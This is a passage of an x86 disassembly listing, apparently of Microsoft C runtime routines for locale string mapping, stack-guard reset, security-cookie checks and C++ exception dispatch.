loc_419BFD: ; CODE XREF: sub_419B68+22j ; sub_419B68+5Cj ... xor eax, eax jmp short loc_419C31 ; --------------------------------------------------------------------------- loc_419C01: ; CODE XREF: sub_419B68+93j push 4 push edi push [ebp+var_4] push ebx call ds:dword_420190 ; VirtualAlloc mov eax, dword_47C1C4 jmp short loc_419C17 ; --------------------------------------------------------------------------- loc_419C15: ; CODE XREF: sub_419B68+61j mov ebx, esi loc_419C17: ; CODE XREF: sub_419B68+ABj dec eax neg eax sbb eax, eax and eax, 103h lea ecx, [ebp+var_8] push ecx inc eax push eax push [ebp+var_4] push ebx call ds:dword_420198 ; VirtualProtect loc_419C31: ; CODE XREF: sub_419B68+8Fj ; sub_419B68+97j lea esp, [ebp-54h] pop edi pop esi pop ebx leave retn sub_419B68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419C39 proc near ; CODE XREF: sub_414F66+6Fp ; sub_414F66+E5p ... var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push 38h push offset stru_429088 call __SEH_prolog xor ebx, ebx cmp dword_47C380, ebx jnz short loc_419C87 push ebx push ebx xor esi, esi inc esi push esi push offset dword_429080 push 100h push ebx call ds:dword_4201A4 ; LCMapStringW test eax, eax jz short loc_419C72 mov dword_47C380, esi jmp short loc_419C87 ; --------------------------------------------------------------------------- loc_419C72: ; CODE XREF: sub_419C39+2Fj call ds:dword_420008 ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_419C87 mov dword_47C380, 2 loc_419C87: ; CODE XREF: sub_419C39+14j ; sub_419C39+37j ... cmp [ebp+arg_C], ebx jle short loc_419CA7 mov ecx, [ebp+arg_C] mov eax, [ebp+arg_8] loc_419C92: ; CODE XREF: sub_419C39+61j dec ecx cmp [eax], bl jz short loc_419C9F inc eax cmp ecx, ebx jnz short loc_419C92 or ecx, 0FFFFFFFFh loc_419C9F: ; CODE XREF: sub_419C39+5Cj or eax, 0FFFFFFFFh sub eax, ecx add [ebp+arg_C], eax loc_419CA7: ; CODE XREF: sub_419C39+51j mov eax, dword_47C380 cmp eax, 2 jz loc_419E91 cmp eax, ebx jz loc_419E91 cmp eax, 1 jnz loc_419EC4 xor edi, edi mov [ebp+var_1C], edi mov [ebp+var_20], ebx mov [ebp+var_24], ebx cmp [ebp+arg_18], ebx jnz short loc_419CDE mov eax, dword_47C4F0 mov [ebp+arg_18], eax loc_419CDE: ; CODE XREF: sub_419C39+9Bj push ebx push ebx push [ebp+arg_C] push [ebp+arg_8] xor eax, eax cmp [ebp+arg_1C], ebx setnz al lea eax, ds:1[eax*8] push eax push [ebp+arg_18] call ds:dword_4200D4 ; MultiByteToWideChar mov esi, eax mov [ebp+var_28], esi cmp esi, ebx jz loc_419EC4 mov [ebp+ms_exc.disabled], 1 lea eax, [esi+esi] add eax, 3 and eax, 0FFFFFFFCh call sub_414630 mov [ebp+ms_exc.old_esp], esp mov eax, esp mov [ebp+var_2C], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp short loc_419D4A ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] call sub_419B68 xor ebx, ebx mov [ebp+var_2C], ebx or [ebp+ms_exc.disabled], 0FFFFFFFFh mov edi, [ebp+var_1C] mov esi, [ebp+var_28] loc_419D4A: ; CODE XREF: sub_419C39+F4j cmp [ebp+var_2C], ebx jnz short loc_419D6B lea eax, [esi+esi] push eax call sub_414CAD pop ecx mov [ebp+var_2C], eax cmp eax, ebx jz loc_419EC4 mov [ebp+var_20], 1 loc_419D6B: ; CODE XREF: sub_419C39+114j push esi push [ebp+var_2C] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] call ds:dword_4200D4 ; MultiByteToWideChar test eax, eax jz loc_419E6E push ebx push ebx push esi push [ebp+var_2C] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4201A4 ; LCMapStringW mov edi, eax mov [ebp+var_1C], edi cmp edi, ebx jz loc_419E6E test byte ptr [ebp+arg_4+1], 4 jz short loc_419DDA cmp [ebp+arg_14], ebx jz loc_419E6E cmp edi, [ebp+arg_14] jg loc_419E6E push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+var_2C] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4201A4 ; LCMapStringW jmp loc_419E6E ; --------------------------------------------------------------------------- loc_419DDA: ; CODE XREF: sub_419C39+172j mov [ebp+ms_exc.disabled], 2 lea eax, [edi+edi] add eax, 3 and eax, 0FFFFFFFCh call sub_414630 mov [ebp+ms_exc.old_esp], esp mov eax, esp mov [ebp+var_30], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp short loc_419E18 ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] call sub_419B68 xor ebx, ebx mov [ebp+var_30], ebx or [ebp+ms_exc.disabled], 0FFFFFFFFh mov edi, [ebp+var_1C] mov esi, [ebp+var_28] loc_419E18: ; CODE XREF: sub_419C39+1C2j cmp [ebp+var_30], ebx jnz short loc_419E35 lea eax, [edi+edi] push eax call sub_414CAD pop ecx mov [ebp+var_30], eax cmp eax, ebx jz short loc_419E6E mov [ebp+var_24], 1 loc_419E35: ; CODE XREF: sub_419C39+1E2j push edi push [ebp+var_30] push esi push [ebp+var_2C] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4201A4 ; LCMapStringW test eax, eax jz short loc_419E6E push ebx push ebx cmp [ebp+arg_14], ebx jnz short loc_419E58 push ebx push ebx jmp short loc_419E5E ; --------------------------------------------------------------------------- loc_419E58: ; CODE XREF: sub_419C39+219j push [ebp+arg_14] push [ebp+arg_10] loc_419E5E: ; CODE XREF: sub_419C39+21Dj push edi push [ebp+var_30] push ebx push [ebp+arg_18] call ds:dword_4200D8 ; WideCharToMultiByte mov edi, eax loc_419E6E: ; CODE XREF: sub_419C39+149j ; sub_419C39+168j ... cmp [ebp+var_24], ebx jz short loc_419E7C push [ebp+var_30] call sub_414844 pop ecx loc_419E7C: ; CODE XREF: sub_419C39+238j cmp [ebp+var_20], ebx jz short loc_419E8A push [ebp+var_2C] call sub_414844 pop ecx loc_419E8A: ; CODE XREF: sub_419C39+246j mov eax, edi jmp loc_419FEC ; --------------------------------------------------------------------------- loc_419E91: ; CODE XREF: sub_419C39+76j ; sub_419C39+7Ej mov [ebp+var_34], ebx xor edi, edi mov [ebp+var_38], ebx cmp [ebp+arg_0], ebx jnz short loc_419EA6 mov eax, dword_47C4E0 mov [ebp+arg_0], eax loc_419EA6: ; CODE XREF: sub_419C39+263j cmp [ebp+arg_18], ebx jnz short loc_419EB3 mov eax, dword_47C4F0 mov [ebp+arg_18], eax loc_419EB3: ; CODE XREF: sub_419C39+270j push [ebp+arg_0] call sub_41DD87 pop ecx mov [ebp+var_3C], eax cmp eax, 0FFFFFFFFh jnz short loc_419ECB loc_419EC4: ; CODE XREF: sub_419C39+87j ; sub_419C39+CDj ... xor eax, eax jmp loc_419FEC ; --------------------------------------------------------------------------- loc_419ECB: ; CODE XREF: sub_419C39+289j cmp eax, [ebp+arg_18] jz loc_419FC2 push ebx push ebx lea ecx, [ebp+arg_C] push ecx push [ebp+arg_8] push eax push [ebp+arg_18] call sub_41DDD0 add esp, 18h mov [ebp+var_34], eax cmp eax, ebx jz short loc_419EC4 push ebx push ebx push [ebp+arg_C] push eax push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4201A0 ; LCMapStringA mov esi, eax mov [ebp+var_40], esi cmp esi, ebx jz loc_419FB1 mov [ebp+ms_exc.disabled], ebx add eax, 3 and eax, 0FFFFFFFCh call sub_414630 mov [ebp+ms_exc.old_esp], esp mov edi, esp mov [ebp+var_44], edi push esi push ebx push edi call sub_41C380 add esp, 0Ch jmp short loc_419F42 ; --------------------------------------------------------------------------- loc_419F32: ; DATA XREF: .rdata:stru_429088o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_419F36: ; DATA XREF: .rdata:stru_429088o mov esp, [ebp+ms_exc.old_esp] call sub_419B68 xor ebx, ebx xor edi, edi loc_419F42: ; CODE XREF: sub_419C39+2F7j or [ebp+ms_exc.disabled], 0FFFFFFFFh cmp edi, ebx jnz short loc_419F6D push [ebp+var_40] call sub_414CAD pop ecx mov edi, eax cmp edi, ebx jz short loc_419F8A push [ebp+var_40] push ebx push edi call sub_41C380 add esp, 0Ch mov [ebp+var_38], 1 loc_419F6D: ; CODE XREF: sub_419C39+30Fj push [ebp+var_40] push edi push [ebp+arg_C] push [ebp+var_34] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4201A0 ; LCMapStringA mov [ebp+var_40], eax cmp eax, ebx jnz short loc_419F8E loc_419F8A: ; CODE XREF: sub_419C39+31Ej xor esi, esi jmp short loc_419FB4 ; --------------------------------------------------------------------------- loc_419F8E: ; CODE XREF: sub_419C39+34Fj push [ebp+arg_14] push [ebp+arg_10] lea eax, [ebp+var_40] push eax push edi push [ebp+arg_18] push [ebp+var_3C] call sub_41DDD0 add esp, 18h mov esi, eax neg esi sbb esi, esi neg esi jmp short loc_419FB4 ; --------------------------------------------------------------------------- loc_419FB1: ; CODE XREF: sub_419C39+2D0j mov esi, [ebp+var_48] loc_419FB4: ; CODE XREF: sub_419C39+353j ; sub_419C39+376j cmp [ebp+var_38], ebx jz short loc_419FDC push edi call sub_414844 pop ecx jmp short loc_419FDC ; --------------------------------------------------------------------------- loc_419FC2: ; CODE XREF: sub_419C39+295j push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4201A0 ; LCMapStringA mov esi, eax loc_419FDC: ; CODE XREF: sub_419C39+37Ej ; sub_419C39+387j cmp [ebp+var_34], ebx jz short loc_419FEA push [ebp+var_34] call sub_414844 pop ecx loc_419FEA: ; CODE XREF: sub_419C39+3A6j mov eax, esi loc_419FEC: ; CODE XREF: sub_419C39+253j ; sub_419C39+28Dj lea esp, [ebp-54h] call __SEH_epilog retn sub_419C39 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41A026 loc_419FF5: ; CODE XREF: sub_41A026:loc_41A02Fj push 8 push offset stru_4294C0 call __SEH_prolog and dword ptr [ebp-4], 0 push 0 push 1 call sub_41DFF5 pop ecx pop ecx jmp short loc_41A019 ; END OF FUNCTION CHUNK FOR sub_41A026 ; =============== S U B R O U T I N E ======================================= sub_41A012 proc near ; DATA XREF: .rdata:stru_4294C0o xor eax, eax inc eax retn sub_41A012 endp ; --------------------------------------------------------------------------- loc_41A016: ; DATA XREF: .rdata:stru_4294C0o mov esp, [ebp-18h] ; START OF FUNCTION CHUNK FOR sub_41A026 loc_41A019: ; CODE XREF: sub_41A026-16j or dword ptr [ebp-4], 0FFFFFFFFh push 3 call ds:dword_420034 ; ExitProcess int 3 ; Trap to Debugger ; END OF FUNCTION CHUNK FOR sub_41A026 ; =============== S U B R O U T I N E ======================================= sub_41A026 proc near ; CODE XREF: sub_415289+B4p ; sub_416492+76Ep ... ; FUNCTION CHUNK AT 00419FF5 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0041A019 SIZE 0000000D BYTES cmp ecx, dword_42DEB8 jnz short loc_41A02F retn ; --------------------------------------------------------------------------- loc_41A02F: ; CODE XREF: sub_41A026+6j jmp loc_419FF5 sub_41A026 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41A034 proc near ; CODE XREF: sub_41A61B+138p arg_0 = dword ptr 4 mov eax, [esi+4] test eax, eax jz short loc_41A07F lea edx, [eax+8] cmp byte ptr [edx], 0 jz short loc_41A07F mov ecx, [edi+4] cmp eax, ecx jz short loc_41A05A add ecx, 8 push ecx push edx call sub_41C8C0 test eax, eax pop ecx pop ecx jnz short loc_41A07C loc_41A05A: ; CODE XREF: sub_41A034+14j test byte ptr [edi], 2 jz short loc_41A064 test byte ptr [esi], 8 jz short loc_41A07C loc_41A064: ; CODE XREF: sub_41A034+29j mov eax, [esp+arg_0] mov eax, [eax] test al, 1 jz short loc_41A073 test byte ptr [esi], 1 jz short loc_41A07C loc_41A073: ; CODE XREF: sub_41A034+38j test al, 2 jz short loc_41A07F test byte ptr [esi], 2 jnz short loc_41A07F loc_41A07C: ; CODE XREF: sub_41A034+24j ; sub_41A034+2Ej ... xor eax, eax retn ; --------------------------------------------------------------------------- loc_41A07F: ; CODE XREF: sub_41A034+5j ; sub_41A034+Dj ... xor eax, eax inc eax retn sub_41A034 endp ; =============== S U B R O U T I N E ======================================= sub_41A083 proc near ; CODE XREF: sub_41A0A1+76p mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_41A090 xor eax, eax retn ; --------------------------------------------------------------------------- loc_41A090: ; CODE XREF: sub_41A083+8j call sub_416C45 and dword ptr [eax+80h], 0 jmp sub_41A89F sub_41A083 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A0A1 proc near ; CODE XREF: sub_41A1D1+117p ; sub_41A4F4+31p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push 10h push offset stru_4294D0 call __SEH_prolog mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi call sub_416C45 add eax, 80h inc dword ptr [eax] and [ebp+ms_exc.disabled], 0 mov edi, [ebp+arg_8] loc_41A0C9: ; CODE XREF: sub_41A0A1+8Fj cmp esi, [ebp+arg_C] jz short loc_41A132 cmp esi, 0FFFFFFFFh jle short loc_41A0D8 cmp esi, [edi+4] jl short loc_41A0DD loc_41A0D8: ; CODE XREF: sub_41A0A1+30j call sub_41A8D4 loc_41A0DD: ; CODE XREF: sub_41A0A1+35j mov eax, esi shl eax, 3 mov ecx, [edi+8] add ecx, eax mov esi, [ecx] mov [ebp+var_20], esi mov [ebp+ms_exc.disabled], 1 cmp dword ptr [ecx+4], 0 jz short loc_41A10E mov [ebx+8], esi push 103h push ebx mov ecx, [edi+8] push dword ptr [ecx+eax+4] call sub_41A910 loc_41A10E: ; CODE XREF: sub_41A0A1+56j and [ebp+ms_exc.disabled], 0 jmp short loc_41A12D ; --------------------------------------------------------------------------- loc_41A114: ; DATA XREF: .rdata:004294E0o mov eax, [ebp+ms_exc.exc_ptr] call sub_41A083 retn ; --------------------------------------------------------------------------- loc_41A11D: ; DATA XREF: .rdata:004294E4o mov esp, [ebp+ms_exc.old_esp] and [ebp+ms_exc.disabled], 0 mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_20] loc_41A12D: ; CODE XREF: sub_41A0A1+71j mov [ebp+var_1C], esi jmp short loc_41A0C9 ; --------------------------------------------------------------------------- loc_41A132: ; CODE XREF: sub_41A0A1+2Bj or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41A154 cmp esi, [ebp+arg_C] jz short loc_41A145 call sub_41A8D4 loc_41A145: ; CODE XREF: sub_41A0A1+9Dj mov [ebx+8], esi call __SEH_epilog retn sub_41A0A1 endp ; =============== S U B R O U T I N E ======================================= sub_41A14E proc near ; DATA XREF: .rdata:stru_4294D0o mov ebx, [ebp+8] mov esi, [ebp-1Ch] sub_41A14E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41A154 proc near ; CODE XREF: sub_41A0A1+95p call sub_416C45 cmp dword ptr [eax+80h], 0 jle short locret_41A16E call sub_416C45 add eax, 80h dec dword ptr [eax] locret_41A16E: ; CODE XREF: sub_41A154+Cj retn sub_41A154 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A16F proc near ; CODE XREF: sub_41A314+5Cp ; sub_41A61B+1A8p ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 8 push offset stru_4294E8 call __SEH_prolog mov eax, [ebp+arg_0] test eax, eax jz short loc_41A19D mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_41A19D and [ebp+ms_exc.disabled], 0 push ecx push dword ptr [eax+18h] call sub_41546C or [ebp+ms_exc.disabled], 0FFFFFFFFh loc_41A19D: ; CODE XREF: sub_41A16F+11j ; sub_41A16F+1Bj call __SEH_epilog retn sub_41A16F endp ; =============== S U B R O U T I N E ======================================= sub_41A1A3 proc near ; DATA XREF: .rdata:stru_4294E8o xor eax, eax cmp [ebp+0Ch], al setnz al retn sub_41A1A3 endp ; --------------------------------------------------------------------------- loc_41A1AC: ; DATA XREF: .rdata:stru_4294E8o mov esp, [ebp-18h] jmp sub_41A89F ; =============== S U B R O U T I N E ======================================= sub_41A1B4 proc near ; CODE XREF: sub_41A378+7Cp ; sub_41A378+FBp ... mov edx, [ecx+4] push esi mov esi, eax mov eax, [ecx] add eax, esi test edx, edx jl short loc_41A1CF mov ecx, [ecx+8] mov esi, [edx+esi] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_41A1CF: ; CODE XREF: sub_41A1B4+Cj pop esi retn sub_41A1B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A1D1 proc near ; CODE XREF: sub_41A4F4+52p var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch ; FUNCTION CHUNK AT 0041A30B SIZE 00000003 BYTES push 40h push offset stru_4294F8 call __SEH_prolog mov ebx, ecx mov edi, [ebp+arg_4] mov esi, [ebp+arg_0] mov [ebp+var_1C], ebx and [ebp+var_20], 0 mov eax, [edi-4] mov [ebp+var_24], eax push dword ptr [esi+18h] lea eax, [ebp+var_2C] push eax call sub_41560A pop ecx pop ecx mov [ebp+var_30], eax call sub_416C45 mov eax, [eax+78h] mov [ebp+var_34], eax call sub_416C45 mov eax, [eax+7Ch] mov [ebp+var_38], eax call sub_416C45 mov [eax+78h], esi call sub_416C45 mov ecx, [ebp+arg_8] mov [eax+7Ch], ecx and [ebp+ms_exc.disabled], 0 mov [ebp+ms_exc.disabled], 1 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+arg_C] push edi call sub_41569F add esp, 14h mov [ebp+var_1C], eax and [ebp+ms_exc.disabled], 0 jmp loc_41A2F9 ; --------------------------------------------------------------------------- loc_41A256: ; DATA XREF: .rdata:00429508o mov eax, [ebp+ms_exc.exc_ptr] mov eax, [eax] mov [ebp+var_3C], eax mov eax, [ebp+var_3C] cmp dword ptr [eax], 0E06D7363h jnz short loc_41A28E mov eax, [ebp+var_3C] cmp dword ptr [eax+10h], 3 jnz short loc_41A28E mov eax, [ebp+var_3C] cmp dword ptr [eax+14h], 19930520h jnz short loc_41A28E mov eax, [ebp+var_3C] cmp dword ptr [eax+1Ch], 0 mov [ebp+var_40], 1 jz short loc_41A295 loc_41A28E: ; CODE XREF: sub_41A1D1+96j ; sub_41A1D1+9Fj ... mov [ebp+var_40], 0 loc_41A295: ; CODE XREF: sub_41A1D1+BBj mov eax, [ebp+var_40] retn ; --------------------------------------------------------------------------- loc_41A299: ; DATA XREF: .rdata:0042950Co mov esp, [ebp+ms_exc.old_esp] mov ecx, [ebp+arg_C] mov eax, [ecx+8] mov [ebp+var_44], eax mov edi, [ebp+arg_4] mov eax, [edi+8] mov [ebp+var_48], eax mov edx, [ecx+10h] mov [ebp+var_4C], edx xor edx, edx loc_41A2B6: ; CODE XREF: sub_41A1D1+13Bj mov [ebp+var_50], edx cmp edx, [ecx+0Ch] jnb short loc_41A2E2 lea esi, [edx+edx*4] mov ebx, [ebp+var_4C] lea esi, [ebx+esi*4] mov ebx, [esi+4] cmp eax, ebx jle short loc_41A30B cmp eax, [esi+8] jg short loc_41A30B lea eax, [ebx+1] mov [ebp+var_48], eax mov edx, [ebp+var_44] mov eax, [edx+eax*8] mov [ebp+var_48], eax loc_41A2E2: ; CODE XREF: sub_41A1D1+EBj push eax push ecx xor esi, esi push esi push edi call sub_41A0A1 add esp, 10h mov [ebp+var_1C], esi mov [ebp+ms_exc.disabled], esi mov esi, [ebp+arg_0] loc_41A2F9: ; CODE XREF: sub_41A1D1+80j or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41A314 mov eax, [ebp+var_1C] call __SEH_epilog retn sub_41A1D1 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41A1D1 loc_41A30B: ; CODE XREF: sub_41A1D1+FBj ; sub_41A1D1+100j inc edx jmp short loc_41A2B6 ; END OF FUNCTION CHUNK FOR sub_41A1D1 ; =============== S U B R O U T I N E ======================================= sub_41A30E proc near ; DATA XREF: .rdata:stru_4294F8o mov edi, [ebp+0Ch] mov esi, [ebp+8] sub_41A30E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41A314 proc near ; CODE XREF: sub_41A1D1+12Cp mov eax, [ebp-24h] mov [edi-4], eax push dword ptr [ebp-30h] call sub_415653 pop ecx call sub_416C45 mov ecx, [ebp-34h] mov [eax+78h], ecx call sub_416C45 mov ecx, [ebp-38h] mov [eax+7Ch], ecx cmp dword ptr [esi], 0E06D7363h jnz short locret_41A377 cmp dword ptr [esi+10h], 3 jnz short locret_41A377 cmp dword ptr [esi+14h], 19930520h jnz short locret_41A377 cmp dword ptr [ebp-20h], 0 jnz short locret_41A377 cmp dword ptr [ebp-1Ch], 0 jz short locret_41A377 push dword ptr [esi+18h] call sub_415632 pop ecx test eax, eax jz short locret_41A377 call sub_41584A push eax push esi call sub_41A16F pop ecx pop ecx locret_41A377: ; CODE XREF: sub_41A314+2Bj ; sub_41A314+31j ... retn sub_41A314 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A378 proc near ; CODE XREF: sub_41A4F4+Dp ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push 8 push offset stru_429510 call __SEH_prolog mov esi, ecx mov eax, [ebp+arg_4] mov edi, edx mov ebx, [ebp+arg_0] mov ecx, [eax+4] test ecx, ecx jz loc_41A4E2 cmp byte ptr [ecx+8], 0 jz loc_41A4E2 mov ecx, [eax+8] test ecx, ecx jnz short loc_41A3B4 test byte ptr [eax+3], 80h jz loc_41A4E2 loc_41A3B4: ; CODE XREF: sub_41A378+30j mov eax, [eax] test eax, eax js short loc_41A3BE lea edi, [ecx+edi+0Ch] loc_41A3BE: ; CODE XREF: sub_41A378+40j and [ebp+ms_exc.disabled], 0 push 1 push dword ptr [ebx+18h] test al, 8 jz short loc_41A400 call sub_41E1A5 pop ecx pop ecx test eax, eax jz loc_41A4D9 push 1 push edi call sub_41E1C1 pop ecx pop ecx test eax, eax jz loc_41A4D9 mov eax, [ebx+18h] mov [edi], eax loc_41A3F1: ; CODE XREF: sub_41A378+D1j lea ecx, [esi+8] call sub_41A1B4 mov [edi], eax jmp loc_41A4DE ; --------------------------------------------------------------------------- loc_41A400: ; CODE XREF: sub_41A378+51j test byte ptr [esi], 1 jz short loc_41A44B call sub_41E1A5 pop ecx pop ecx test eax, eax jz loc_41A4D9 push 1 push edi call sub_41E1C1 pop ecx pop ecx test eax, eax jz loc_41A4D9 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_41D050 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_41A4DE mov eax, [edi] test eax, eax jz loc_41A4DE jmp short loc_41A3F1 ; --------------------------------------------------------------------------- loc_41A44B: ; CODE XREF: sub_41A378+8Bj cmp dword ptr [esi+18h], 0 jnz short loc_41A484 call sub_41E1A5 pop ecx pop ecx test eax, eax jz short loc_41A4D9 push 1 push edi call sub_41E1C1 pop ecx pop ecx test eax, eax jz short loc_41A4D9 push dword ptr [esi+14h] lea ecx, [esi+8] mov eax, [ebx+18h] call sub_41A1B4 push eax push edi call sub_41D050 add esp, 0Ch jmp short loc_41A4DE ; --------------------------------------------------------------------------- loc_41A484: ; CODE XREF: sub_41A378+D7j call sub_41E1A5 pop ecx pop ecx test eax, eax jz short loc_41A4D9 push 1 push edi call sub_41E1C1 pop ecx pop ecx test eax, eax jz short loc_41A4D9 push dword ptr [esi+18h] call sub_41E1DD pop ecx test eax, eax jz short loc_41A4D9 mov eax, [ebx+18h] lea ecx, [esi+8] test byte ptr [esi], 4 jz short loc_41A4C8 push 1 call sub_41A1B4 push eax push dword ptr [esi+18h] push edi call sub_41546C jmp short loc_41A4DE ; --------------------------------------------------------------------------- loc_41A4C8: ; CODE XREF: sub_41A378+13Bj call sub_41A1B4 push eax push dword ptr [esi+18h] push edi call sub_41546C jmp short loc_41A4DE ; --------------------------------------------------------------------------- loc_41A4D9: ; CODE XREF: sub_41A378+5Cj ; sub_41A378+6Ej ... call sub_41A8D4 loc_41A4DE: ; CODE XREF: sub_41A378+83j ; sub_41A378+C1j ... or [ebp+ms_exc.disabled], 0FFFFFFFFh loc_41A4E2: ; CODE XREF: sub_41A378+1Bj ; sub_41A378+25j ... call __SEH_epilog retn sub_41A378 endp ; =============== S U B R O U T I N E ======================================= sub_41A4E8 proc near ; DATA XREF: .rdata:stru_429510o xor eax, eax inc eax retn sub_41A4E8 endp ; --------------------------------------------------------------------------- loc_41A4EC: ; DATA XREF: .rdata:stru_429510o mov esp, [ebp-18h] jmp sub_41A89F ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A4F4 proc near ; CODE XREF: sub_41A55B+A2p ; sub_41A61B+17Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp test ecx, ecx jz short loc_41A508 push ebx push [ebp+arg_0] mov edx, esi call sub_41A378 pop ecx pop ecx loc_41A508: ; CODE XREF: sub_41A4F4+5j cmp [ebp+arg_14], 0 push [ebp+arg_0] jnz short loc_41A514 push esi jmp short loc_41A517 ; --------------------------------------------------------------------------- loc_41A514: ; CODE XREF: sub_41A4F4+1Bj push [ebp+arg_14] loc_41A517: ; CODE XREF: sub_41A4F4+1Ej call sub_415473 push dword ptr [edi] push [ebp+arg_C] push [ebp+arg_8] push esi call sub_41A0A1 mov eax, [edi+4] push 100h push [ebp+arg_10] inc eax push [ebp+arg_C] mov [esi+8], eax push [ebp+arg_4] mov ecx, [ebx+0Ch] push esi push [ebp+arg_0] call sub_41A1D1 add esp, 28h test eax, eax jz short loc_41A559 push esi push eax call sub_41543C loc_41A559: ; CODE XREF: sub_41A4F4+5Cj pop ebp retn sub_41A4F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A55B proc near ; CODE XREF: sub_41A61B+1D3p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx push esi mov esi, [ebp+arg_0] cmp dword ptr [esi], 80000003h jz loc_41A618 call sub_416C45 cmp dword ptr [eax+74h], 0 jz short loc_41A59A push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_4156F0 add esp, 1Ch test eax, eax jnz short loc_41A618 loc_41A59A: ; CODE XREF: sub_41A55B+1Ej mov esi, [ebp+arg_14] push edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push esi push [ebp+arg_18] push [ebp+arg_10] call sub_415590 mov edi, eax mov eax, [ebp+var_4] add esp, 14h cmp eax, [ebp+var_8] jnb short loc_41A617 push ebx loc_41A5C0: ; CODE XREF: sub_41A55B+B9j cmp esi, [edi] jl short loc_41A608 cmp esi, [edi+4] jg short loc_41A608 mov eax, [edi+0Ch] mov ecx, [edi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_41A5E1 cmp byte ptr [ecx+8], 0 jnz short loc_41A608 loc_41A5E1: ; CODE XREF: sub_41A55B+7Ej mov esi, [ebp+arg_4] push 1 push [ebp+arg_1C] lea ebx, [eax-10h] push [ebp+arg_18] xor ecx, ecx push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_0] call sub_41A4F4 mov esi, [ebp+arg_14] add esp, 1Ch loc_41A608: ; CODE XREF: sub_41A55B+67j ; sub_41A55B+6Cj ... inc [ebp+var_4] mov eax, [ebp+var_4] add edi, 14h cmp eax, [ebp+var_8] jb short loc_41A5C0 pop ebx loc_41A617: ; CODE XREF: sub_41A55B+62j pop edi loc_41A618: ; CODE XREF: sub_41A55B+Fj ; sub_41A55B+3Dj pop esi leave retn 